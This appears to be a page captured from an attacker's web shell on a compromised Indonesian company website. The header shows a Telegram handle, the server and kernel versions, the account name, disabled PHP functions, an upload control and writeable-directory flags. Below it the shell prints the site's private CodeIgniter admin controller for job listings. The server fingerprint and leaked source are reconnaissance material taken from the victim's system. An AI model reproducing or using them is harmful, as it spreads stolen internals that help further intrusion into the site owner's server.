https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/asietex.co.id/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/asietex.co.id/public_html/application/controllers/admin/Career.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Career extends Admin_Controller {

	//this property is used for validating existing career title on call back edit career
	protected $career_current_id; 

	//this property is to mark whether we are uploading image in the index page
	private $imageupload_indexpage = FALSE;  
		
	function __construct() {
		parent::__construct();	
		$this->load->model('career_m');
	}
		
	//this is to list all career 
	public function index() {

		$this->load->helper('form');

		if (isset($_POST['submit'])) {

			$this->imageupload_indexpage = TRUE;

			//if there is a form submit banner image description at landing page
			$image_filename = $this->image_processing($_FILES['userfile']['size']);

			//store image information to configuration table
			$data = array(
				'career_landingpage_link' => $this->security->xss_clean($this->input->post('banner_link')),
				'career_landingpage_description'	=> $this->security->xss_clean($this->input->post('description')),
				'career_landingpage_description_en'	=> $this->security->xss_clean($this->input->post('description_en')),
			);

			//image upload
			if (isset($image_filename)) {
				$data['career_landingpage_image'] = $image_filename; 
			} 
			$this->db->where('id_configuration', 1);
			$this->db->update('configuration', $data); 

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Career Landing Page Edit Successful</p>');
		}

		//get landingpage banner image, description and link
		$this->db->select('career_landingpage_description, career_landingpage_description_en, career_landingpage_image, career_landingpage_link')->from('configuration')->where('id_configuration', 1);
		$this->data['career_landingpage'] = $this->db->get()->row();
		
		//pagination in action. 50 results per page
		$this->load->library('pagination');
		$config['base_url'] = base_url() . 'admin/career/index';
		$config['per_page'] = 100;
		$config['uri_segment'] = 4; 
		
		//config for bootstrap pagination class integration 
		$config['full_tag_open'] = '<ul class="pagination">';
		$config['full_tag_close'] = '</ul>';
		$config['first_tag_open'] = '<li>';
		$config['first_tag_close'] = '</li>';
		$config['prev_link'] = '&laquo';
		$config['prev_tag_open'] = '<li class="prev">';
		$config['prev_tag_close'] = '</li>';
		$config['next_link'] = '&raquo';
		$config['next_tag_open'] = '<li>';
		$config['next_tag_close'] = '</li>';
		$config['last_tag_open'] = '<li>';
		$config['last_tag_close'] = '</li>'; 
		$config['cur_tag_open'] = '<li class="active"><a href="#">';
		$config['cur_tag_close'] = '</a></li>';
		$config['num_tag_open'] = '<li>';
		$config['num_tag_close'] = '</li>';

		//fetch all career
		$config['total_rows'] = $this->career_m->record_count();  
		$this->pagination->initialize($config);

		//get parent career only
   		$this->data['parent_career'] = $this->career_m->get_all_parent_career($config["per_page"], $this->uri->segment($config['uri_segment'])); 
	
		//load view
		$this->data['subview'] = 'admin/career/index';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');		
    }
	
	//to add a new career 
	public function add() {
	
		$this->data['career'] = $this->career_m->get_new();   

		//get ordering number and display at add form
		$this->db->select_max('priority')->from('career');
		$current_priority = $this->db->get()->row()->priority;
		if($current_priority == NULL) {
			$this->data['career']->priority = 1;	 
		} else {
			$this->data['career']->priority = $current_priority + 1;
		}
		
		//validation in action
		//validation check in action 
		$config = $this->career_m->rules;
		$this->load->library('form_validation');
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled
		$this->form_validation->set_rules($config);   
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

		if($this->form_validation->run($this) == TRUE) { 
			$data = $this->table_data_processing();

			$this->career_m->add_career($data); 

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Career Added Successful</p>');

			redirect('admin/career');
		} 
		
		$this->data['subview'] = 'admin/career/edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');		
	}
	
	//to edit career in admin
	public function edit($id = NULL) {

		//check if id exist. If not exist, show 404.
		$count = $this->career_m->count_exist($id);
		
		if ($count == 0) { show_404(); }		

		$this->data['career'] = $this->career_m->get($id);
		$this->career_current_id = (int) $this->data['career']->id_career;

		//validation check in action
		$config = $this->career_m->rules;
		$this->load->library('form_validation');
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled
		$this->form_validation->set_rules($config); 
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

		if($this->form_validation->run($this) == TRUE) {

			$data = $this->table_data_processing();

			$this->career_m->edit_career($id, $data); 

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Career Edit Successful</p>');
			
			redirect('admin/career/edit/' .  $id);
		} 
		
		$this->data['subview'] = 'admin/career/edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');		
	}
	

	//to delete a career
	public function delete($id) {

		//check if id exist. If not exist, show 404.
		$count = $this->career_m->count_exist($id);
		
		if ($count == 0) { 
			//page not exist  
			show_404();
		}	

		//delete image from server
		//check if there is an existing image
		$this->db->select('image')->from('career')->where('id_career', (int) $id);
		$image = $this->db->get()->row();
		
		if ($image->image != '' || $image->image != NULL) {
			
			//Delete the actual image file from server. FCPATH is codeigniter base path
			unlink(FCPATH .'/uploads/career/'. $image->image);
		}	

		//check if there are child career belong to this parent career. if yes, set the parent career to NULL
		$this->db->select('id_career')->from('career')->where('parent', $id);
		$count_child_career = $this->db->get()->num_rows();

		if ($count_child_career > 0) {
			
			//child career exist, then set their parent to NULL
			$this->db->select('id_career')->from('career')->where('parent', $id);
			$child_career = $this->db->get()->result();

			foreach ($child_career as $child_career) {

				$data = array(
                	'parent' => NULL,	
            	);
				$this->db->where('id_career', $child_career->id_career);
				$this->db->update('career', $data); 
			}
		}

		//delete parent career
		$this->career_m->delete($id);

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">career Delete Successful</p>');
		redirect('admin/career');
	} 

	//image upload processing
	private function image_processing($image_file_size) {

		//get max image width and height from configuration table
		/* $this->db->select('career_image_width, career_image_height')->from('configuration')->where('id_configuration', 1);
		$image_dimension = $this->db->get()->row(); */

		//check & processing image banner upload files	
		if ($image_file_size !== 0) {  	

			$config['upload_path'] = './uploads/career/'; 
			$config['allowed_types'] = 'png|jpg';  
			$config['max_size']	= '500';
			$config['max_width']  = '1920';
			$config['max_height']  = '600';
			
			$this->load->library('upload', $config); 

			if ( ! $this->upload->do_upload()) {

                //echo $this->upload->display_errors(); die();
					
				$this->session->set_flashdata('error', '<br>
					<p style="background:orange; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');

				if ($this->career_current_id != NULL) {
					redirect('admin/career/edit/' . $this->career_current_id);
				} else {
					redirect('admin/career/add');
				}
			
			} else {

			$image = $this->upload->data();
			$image_filename = $image['file_name']; 	 

			return $image_filename; 

			}	
		}
	}

	//logo upload processing
	private function thumbnail_processing($thumbnail_file_size) {

		//get max thumbnail width and height from configuration table
		$this->db->select('career_thumbnail_width, career_thumbnail_height')->from('configuration')->where('id_configuration', 1);
		$thumbnail_dimension = $this->db->get()->row();

		//check & processing image banner upload files	
		if ($thumbnail_file_size !== 0) {  	

			$config['upload_path'] = './uploads/career/'; 
			$config['allowed_types'] = 'jpg|png'; 
			$config['max_size']	= '200';
			$config['max_width']  = $thumbnail_dimension->career_thumbnail_width;
			$config['max_height']  = $thumbnail_dimension->career_thumbnail_height;
			
			$this->load->library('upload', $config); 

			if ( ! $this->upload->do_upload('userfile2')) {

                //echo $this->upload->display_errors(); die();
					
				$this->session->set_flashdata('logo_error', '<br>
					<p style="background:orange; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');

				if ($this->career_current_id != NULL) {
					redirect('admin/career/edit/' . $this->career_current_id);
				} else {
					redirect('admin/career/add');
				}
			
			} else {

				$thumbnail = $this->upload->data();
				$thumbnail_filename = $thumbnail['file_name']; 	 

				return $thumbnail_filename; 

			}	
		}
	}

	private function table_data_processing() {

		$data = array( 
            'position' 		=> $this->security->xss_clean($this->input->post('position')),
            'position_en' 		=> $this->security->xss_clean($this->input->post('position_en')),
            'requirement' 		=> $this->security->xss_clean($this->input->post('requirement')),
            'requirement_en' 		=> $this->security->xss_clean($this->input->post('requirement_en')),
			'status' 		=> $this->security->xss_clean($this->input->post('status')),
			'priority' 		=> $this->security->xss_clean($this->input->post('priority'))
        );
        
		return $data;
	}

	//callback function validation add new career
	//make it private by adding _
	public function _cek_existing_career_title($str) {

		$num_rows = $this->career_m->cek_existing_career_title($str, $this->career_current_id);   
		if ($num_rows != 0 ) {  
			$this->form_validation->set_message('_cek_existing_career_title', 'career name already exist !');
			return FALSE;
		} else {
			return TRUE;  
		}
	}

	//To delete career landingpage banner image file from server, and from database
	public function delete_landingpage_image() { 

		//get image file name for deletion
		$this->db->select('career_landingpage_image')->from('configuration')->where('id_configuration', 1);
		$image = $this->db->get()->row()->career_landingpage_image;

		//Delete the actual image file from server. FCPATH is codeigniter base path
		unlink(FCPATH .'/uploads/career/'. $image);

		//Delete image field from database
		$data = array( 
			'career_landingpage_image' => '',
		);

		$this->db->where('id_configuration', 1);
		$this->db->update('configuration', $data);	

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Image Delete Successful</p>');
		redirect('admin/career'); 
	}

	//To delete career image file from server, and from database
	public function delete_image($id = NULL) { 

		$count = $this->career_m->count_exist($id);

		if ($id == NULL || $count == 0) {	
			redirect('admin/career');
		}

		//get image file name for deletion
		$this->db->select('image')->from('career')->where('id_career', (int) $id);
		$image = $this->db->get()->row();

		//Delete the actual image file from server. FCPATH is codeigniter base path
		unlink(FCPATH .'/uploads/career/'. $image->image);

		//Delete image field from database
		$data = array( 
			'image' => '',
		);

		$this->db->where('id_career', (int) $id);
		$this->db->update('career', $data);	

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Image Delete Successful</p>');
		
		redirect('admin/career/edit/' . $id); 
	}

	//To delete career thumbnail file from server, and from database
	public function delete_thumbnail($id = NULL) { 

		$count = $this->career_m->count_exist($id); 

		if ($id == NULL || $count == 0) {	  
			redirect('admin/career');
		}

		//get thumbnail file name for deletion
		$this->db->select('thumbnail')->from('career')->where('id_career', (int) $id);
		$image = $this->db->get()->row();

		//Delete the actual image file from server. FCPATH is codeigniter base path
		unlink(FCPATH .'/uploads/career/'. $image->thumbnail);

		//Delete image field from database
		$data = array( 
			'thumbnail' => '',
		);

		$this->db->where('id_career', (int) $id);
		$this->db->update('career', $data);	

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Thumbnail Delete Successful</p>');
		redirect('admin/career/edit/' . $id); 

	} 

	public function ajax_get_ordering() {

		//test if ajax call to prevent direct access
		if (!$this->input->is_ajax_request()) {
				exit('No direct script access allowed');
		}

		if($this->input->post('id_parentcareer') == 'no-parent') {

			//choose select option where value is no-parent at edit view
			//get ordering number and display at add form
			$this->db->select_max('priority')->from('career')->where('parent', NULL);
			$current_priority = $this->db->get()->row()->priority;
			if($current_priority == NULL) {
				$next_priority = 1;	
			} else {
				$next_priority = $current_priority + 1;
			}

		} else {

			$id_parentcareer = (int) $this->input->post('id_parentcareer'); 

			//get ordering number and display at add form
			$this->db->select_max('priority')->from('career')->where('parent', $id_parentcareer);
			$current_priority = $this->db->get()->row()->priority;
			$next_priority = $current_priority + 1;
		}

		echo $next_priority;
	  
   }
	
		
}

https://t.me/RX1948 - 2025